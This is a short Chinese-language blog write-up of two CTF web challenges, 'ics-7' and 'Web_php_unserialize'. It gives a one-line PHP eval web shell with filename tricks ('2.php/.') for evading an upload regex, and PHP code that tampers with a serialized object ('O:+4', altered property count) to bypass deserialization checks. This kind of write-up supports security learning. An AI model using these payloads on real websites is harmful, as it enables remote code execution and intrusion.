ics-7 && Web_php_unserialize &&

2019-11-09  本文已影响0人  jun123123
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9')

这里判断字符串转为浮点型不等于1,但是1是整型和浮点数强类型比较一定不等于,所以我觉得这里可能是一个提醒,要查询id=1,构造id=1a9即可绕过这个判断
拿到admin权限后可以到达文件写入页面,但是存在正则过滤
尝试htaccess,截断,php.xxxx等多种方法均不能成功,最后看了wp里发现一种新方法
payload:

con=<?php @eval($_POST["cmd"]); ?>&file=2.php/.

这样正则匹配时最后一个.号后无匹配项,可以绕过正则过滤,同时./代表当前文件夹,也就是写入2.php中,而服务器解析文件是按后缀解析的,这也就可以成功解析2.php
同理也可以构造payload:

con=<?php @eval($_POST["cmd"]); ?>&file=2.php/1/..
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);

输出结果复制再提交为var参数即可
这里有个坑就是file是私有变量,序列化之后会有空白字符,如果拿到在线网站base64编码很容易就丢了空白字符,所以这里直接在php里进行base64编码。

上一篇 下一篇

猜你喜欢

热点阅读